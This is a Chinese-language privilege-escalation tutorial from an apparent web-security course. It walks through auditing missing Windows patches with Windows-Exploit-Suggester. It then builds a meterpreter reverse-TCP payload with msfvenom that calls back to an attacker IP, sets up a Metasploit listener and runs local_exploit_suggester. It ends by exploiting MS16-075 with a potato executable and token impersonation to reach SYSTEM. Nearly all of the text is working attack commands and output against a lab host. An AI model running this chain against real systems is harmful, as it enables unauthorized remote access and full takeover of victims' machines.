[原创]WEB安全第六章 提权篇17 msf结合漏洞审计工具进行提权

WEB安全第六章 提权篇17 msf结合漏洞审计工具进行提权

1、 windows 补丁审计工具使用
在终端下可以使用命令systeminfo 来查看系统的一些补丁信息

http://www.demo1.com/asp.aspx
补丁检测Windows-Exploit-Suggester
https://github.com/GDSSecurity/Windows-Exploit-Suggester
下载工具
git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.git
用法
首先安装pip install xlrd –upgrade 库
pip install xlrd –upgrade
更新漏洞补丁库
./windows-exploit-suggester.py –update
表里面的内容

目标 导出 系统信息
systeminfo >C:\inetpub\wwwroot\www.demo1.com\systeminfo.txt
查找可以利用的补丁
./windows-exploit-suggester.py –database 2019-05-02-mssb.xls –systeminfo systeminfo.txt >exp.txt

里面有详细的说明可以漏洞利用的exp

查找指定系统的可以用的漏洞
./windows-exploit-suggester.py –database 2019-05-02-mssb.xls –ostext ‘windows server 2008 r2’

显示可利用的本地提权的条目
./windows-exploit-suggester.py –audit -l –database 2019-05-02-mssb.xls –systeminfo systeminfo.txt >win2008-day.txt

如果补丁没有打上的情况下，就会显示可以利用的ms编号 exp的地址和描述
提权exp windows-kernel-exploits
https://github.com/SecWiki/windows-kernel-exploits

2、msf结合windows-exploit-suggester使用
生成攻击载核
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.134 lport=12345 -f exe >/var/www/html/s.exe
监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.134
set lport 12345
exploit

得到一个低权限的shell
background 返回 模块选择的命令 把session 放到后台
使用suggester模块
use post/multi/recon/local_exploit_suggester
show options
set seesion 1
exploit

这里就是列出没有修补的漏洞
[] 192.168.0.105 – Collecting local exploits for x86/windows… [] 192.168.0.105 – 29 exploit checks are being tried…
[+] 192.168.0.105 – exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.0.105 – exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 192.168.0.105 – exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 192.168.0.105 – exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 192.168.0.105 – exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.0.105 – exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.0.105 – exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 192.168.0.105 – exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated.
[+] 192.168.0.105 – exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 192.168.0.105 – exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
[+] 192.168.0.105 – exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.

使用模块windows/local/ms16_075_reflection_juicy 进行
use windows/local/ms16_075_reflection_juicy
show options 查看参数
set session 1
exploit

得到系统权限。

4、使用MS16-075 提权
选择第一个session
sessions 1
use incognito
list_tokens -u //列出tokens
execute -cH -f C:/inetpub/wwwroot/www.demo1.com/potato.exe //执行exp
list_tokens -u
impersonate_token “NT AUTHORITY\SYSTEM” //提权

这个要多试用多次 方可成功